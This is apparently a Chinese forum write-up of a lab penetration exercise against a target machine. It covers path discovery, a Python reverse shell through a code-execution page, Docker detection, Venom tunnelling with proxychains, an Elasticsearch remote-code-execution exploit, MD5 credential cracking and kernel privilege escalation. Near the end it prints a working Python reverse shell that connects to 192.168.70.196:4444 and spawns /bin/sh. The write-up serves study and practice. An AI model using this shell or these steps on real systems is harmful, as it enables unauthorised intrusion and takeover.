首先对靶机进行ip发现与端口及应用版本信息扫描:

dirsearch和Windows平台上的御剑,本质上是一样的
对隐藏路径进行爬取和发现:

打开后发现是一个代码执行页面 如果过滤不严格可能可以通过该功能直接执行代码操作

导入一段shell代码去反弹链接
去网上搜索python 反弹shell就可以获得shell代码
《a2fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8Y4c8Q4x3V1j5%4y4K6t1I4i4K6t1K6i4K6y4m8i4K6N6q4i4K6y4m8N6r3g2^5N6q4)9K6c8q4)9J5y4f1f1$3i4K6t1#2z5o6S2Q4x3U0f1&6x3g2)9J5y4f1f1@1i4K6t1#2b7V1u0Q4x3U0g2m8b7#2)9J5y4f1f1#2i4K6t1#2z5o6g2Q4x3U0f1^5z5q4)9J5y4f1f1$3i4K6t1#2z5f1c8Q4x3U0g2m8y4g2)9J5y4f1f1%4i4K6t1#2z5f1y4Q4x3U0f1^5b7W2)9J5y4f1f1%4i4K6t1#2z5f1y4Q4x3U0f1^5b7W2)9J5y4f1f1%4i4K6t1#2b7V1c8Q4x3U0f1&6x3g2)9J5y4f1f1@1i4K6t1#2b7U0S2Q4x3U0f1^5b7g2)9J5y4f1f1$3i4K6t1#2b7U0g2Q4x3U0f1^5x3g2)9J5y4f1f1@1i4K6t1#2b7V1y4Q4x3U0g2m8x3q4)9J5y4f1f1#2i4K6t1#2b7V1g2Q4x3U0f1&6y4#2)9J5y4f1f1$3i4K6t1#2z5f1y4Q4x3U0f1^5x3q4)9J5y4f1f1#2i4K6t1#2b7U0W2Q4x3U0g2n7c8W2)9J5y4f1f1%4i4K6t1#2z5f1q4Q4x3U0f1^5y4s2m8&6N6r3S2G2L8W2)9J5y4f1f1#2i4K6t1#2z5p5k6Q4x3U0f1^5c8q4)9J5y4f1f1#2i4K6t1#2b7V1y4Q4x3U0g2n7z5i4y4Z5k6h3I4D9i4K6t1#2c8e0N6Q4x3U0f1&6b7g2)9J5y4e0R3@1i4K6t1#2c8e0S2Q4x3U0f1^5y4q4)9J5y4e0W2m8i4K6t1#2c8e0k6Q4x3U0f1&6b7#2)9J5y4f1q4o6i4K6t1#2c8f1k6Q4x3U0g2n7b7#2)9J5y4e0W2m8i4K6t1#2x3U0m8A6L8i4m8G2M7Y4c8Q4x3U0f1J5x3s2y4G2j5$3E0W2N6q4)9J5y4e0u0o6M7%4g2T1M7s2u0G2j5$3g2K6M7#2)9J5y4e0u0o6L8%4y4Q4x3U0f1J5x3s2y4Q4x3U0f1K6c8s2y4G2j5$3E0W2N6q4)9J5k6i4y4G2j5$3E0W2N6q4)9J5y4e0t1^5M7$3!0U0K9$3g2@1i4K6u0W2b7f1k6Q4y4h3k6u0e0V1g2f1i4K6t1#2x3V1y4K6L8$3y4C8k6i4c8Q4x3X3g2e0e0@1y4w2i4K6g2X3f1#2c8d9c8f1q4y4i4K6t1#2x3U0W2Q4x3V1y4K6i4K6u0W2j5$3!0F1L8X3g2U0N6q4)9J5y4e0t1^5i4K6t1#2x3U0S2Q4x3U0f1J5x3U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5y4e0t1J5i4K6t1#2x3V1x3J5x3K6x3K6x3#2)9J5y4e0t1&6i4K6t1#2x3U0W2Q4x3U0f1J5x3r3!0K6i4K6u0W2k6s2g2H3x3W2)9J5y4e0t1^5M7#2)9J5k6h3k6A6L8r3g2F1L8#2)9J5y4e0t1^5i4K6t1#2x3U0W2Q4x3U0f1J5b7K6m8Q4x3U0f1J5z5g2)9J5y4e0t1H3L8%4y4Q4x3X3g2V1N6i4l9J5i4K6t1#2x3U0S2K6i4K6u0W2k6X3W2D9k6h3&6G2i4K6t1#2x3U0S2Q4x3U0f1J5z5g2)9J5y4e0u0o6x3g2)9J5y4e0t1&6i4K6t1#2x3U0m8G2M7#2)9J5k6h3c8#2M7o6u0Q4x3U0f1J5z5s2y4Q4x3X3g2X3K9h3I4W2L8X3!0Q4x3U0f1J5z5q4)9J5y4e0t1&6i4K6t1#2x3V1x3J5i4K6t1#2x3U0W2Q4x3U0f1J5x3s2m8Q4x3U0f1K6c8s2y4#2j5Y4m8J5L8$3y4W2M7%4y4Q4x3X3g2U0j5h3I4D9i4K6t1#2x3U0S2Q4x3U0f1#2b7W2)9J5y4e0t1J5i4K6t1#2x3V1k6T1K9h3&6Q4x3U0f1J5c8X3u0S2M7$3S2Q4x3U0f1J5x3W2)9J5y4e0u0o6i4K6t1#2x3U0u0Q4x3X3c8A6i4K6t1#2x3U0u0Q4x3U0f1#2c8q4)9J5y4e0t1&6i4K6t1#2x3@1u0Q4c8e0y4Q4z5o6m8Q4z5p5t1`.
如果kali里没安装bash,像上面那篇文章里面那样call(["/bin/bash","-i"]);就会失败,由于sh是最基础的,所以call /bin/sh总没错

在反弹的时候遇到了一些小问题,总结一下就是退出root权限,反弹代码千万记得写分号

三、内网穿透
dockerfile通常会作为dockers容器部署开发环境的时候会使用的一个模板开发文件。这个模板文件中包含如何去引入docker映像,如何对这个映像进行配置和安装软件包,修改服务项 等都会在这个模板文件中存在。利用这个文件可以在生产的服务器上大量的批量的部署docker容器。

查看该文件,可以看到标准的docker模板的操作指令

使用命令:ls /.dockerenv 或者 cat /proc/1/cgroup(1表示初始化文件) 如果有结果那说明是一个docker系统而不是安装在服务器上的系统
如何检测是否是docker系统?
通过查看是否存在dockerenv这个文件,如果存在则大概率就是一个docker容器系统。
查看/proc/1/cgroup文件:(1代表系统的初始化进程id 当初始化进程id的cgroup文件中包含着明确的docker信息则百分百是个docker容器) 随后想办法从隔离的docker容器中突破出来找到宿主机,拿到root权限

可以将docker容器所处的网段视为当前的内网网段 可以对内网网段进行主机发现,看看该网段中是否还存在其他主机

16个网段,存在65535个ip
主机发现:ping -c 对内网中的每个ip都ping一遍 或者通过脚本循环ping:for i in $(seq 1 10); do ping -c 1 ip.$i;done

扫出来的172.17.0.1和172.17.0.1位于内网网段,利用kali上的工具去探测内网网段默认情况下道路不通,此时要使用内网穿透技术。
使用内网穿透技术,将内网和kali的网络路由打通 常用的工具:venom
利用venom可以在内网和kali之间建立一个隧道,通过这个隧道生成一个代理 让其他工具可以基于这个代理对内网进行扫描
首先将这个隧道的客户端程序传输拷贝到目标系统上,再与kali上的服务端程序建立隧道
在Kali主机Venom目录启动Python3 Http Server 再回到目标容器系统,通过wget去访问kali主机上的http服务

venom报错:zsh: 没有那个文件或目录: /home/chey/桌面/Venom 排查后发现是因为文件名有空格 将空格删掉之后就能正常运行了
运行服务端,本地监听9999端口等待目标容器系统建立监听:


来到客户端计算机,获取到隧道工具的客户端程序(就是a程序)。在kali系统上启动http程序,在目标靶机上运行wget,将kali上的a程序下载过去。

如果wget失败就重启一遍服务(应该在kali装一个nginx之类的server端 开http 然后配置文件里会有一个类似root_dir的配置 还是web_dir 类似的 配好了重新起一下服务 不出意外的话应该不会出现这种问题 )

靶机服务器上部署venom:
成功连上(由于在Linux中给agent_linux_x64改名为a了 所以这里使用的是a)

goto到节点:
socks启动监听端口1080

为了让kali上的所有工具都可以挂代理去访问内网的网段,就必须要启动proxychain
修改代理类型 sudo vi /etc/proxychains4.conf

此时可以对内网进行扫描了,对刚刚扫描出来的存活的ip进行扫描:
proxychains nmap -Pn -sT 172.17.0.1

进行服务版本的发现

对172.17.0.2进行端口和版本信息扫描
Elasticsearch开放端口:9200

有两个远程代码执行漏洞的payload 下载回来看看

cp /usr/share/exploitdb/exploits/linux/remote/36337.py . 将改脚本拷贝到当前目录

使用python2来执行该脚本

发现当前有一个password文件,文件中有账密信息 是md5加密的

md5在线查询平台:cf9K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0L8h3b7#2i4K6u0W2j5$3!0E0i4K6u0r3
使用账密进行ssh登录

尝试提权:sudo su
本地提权:最主要的方法:通过内核漏洞提权
uname -a 查看内核版本信息

searchsploit
该payload是c语言写的源码,需要通过gcc编译之后才能执行,随后才能成功提权到root权限


由于靶机上没有gcc软件包,因此在kali上编译完后传到靶机上执行该提权payload,该payload源码中有一段命令:使用gcc编译ofs-lib.c 防止payload在靶机上运行失败,在kali上编译完后修改该代码,改为直接执行编译后的程序

把涉及到要编译库文件的代码都删除掉

删除上面红圈内的代码后对修改后的exp进行编译,输出文件名为exp
编译过程中的报错并不影响输出结果

要执行该exp文件需要配合已经编译好的二进制的库文件一起执行
二进制的库文件名叫ofs-lib.so 尝试在kali中直接定位该文件

将这两个文件一起拷贝到目标宿主系统上
报这个错就需要在kali中exp所在路径下重启http.server服务


接下来要执行该exp,为了保证exp的执行成功,将这两个文件拷贝到目标靶机的tmp目录下
首先给exp赋予可执行权限
随后直接执行exp 成功提权

import
socket,subprocess,os;
s
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((
"192.168.70.196"
,
4444
));
os.dup2(s.fileno(),
0
);
os.dup2(s.fileno(),
1
);
os.dup2(s.fileno(),
2
);
p
=
subprocess.call([
"/bin/sh"
,
"-i"
]);
import
socket,subprocess,os;
s
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((
"192.168.70.196"
,
4444
));
os.dup2(s.fileno(),
0
);
os.dup2(s.fileno(),
1
);
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2023-5-3 17:34
被大河向东流哇编辑
,原因: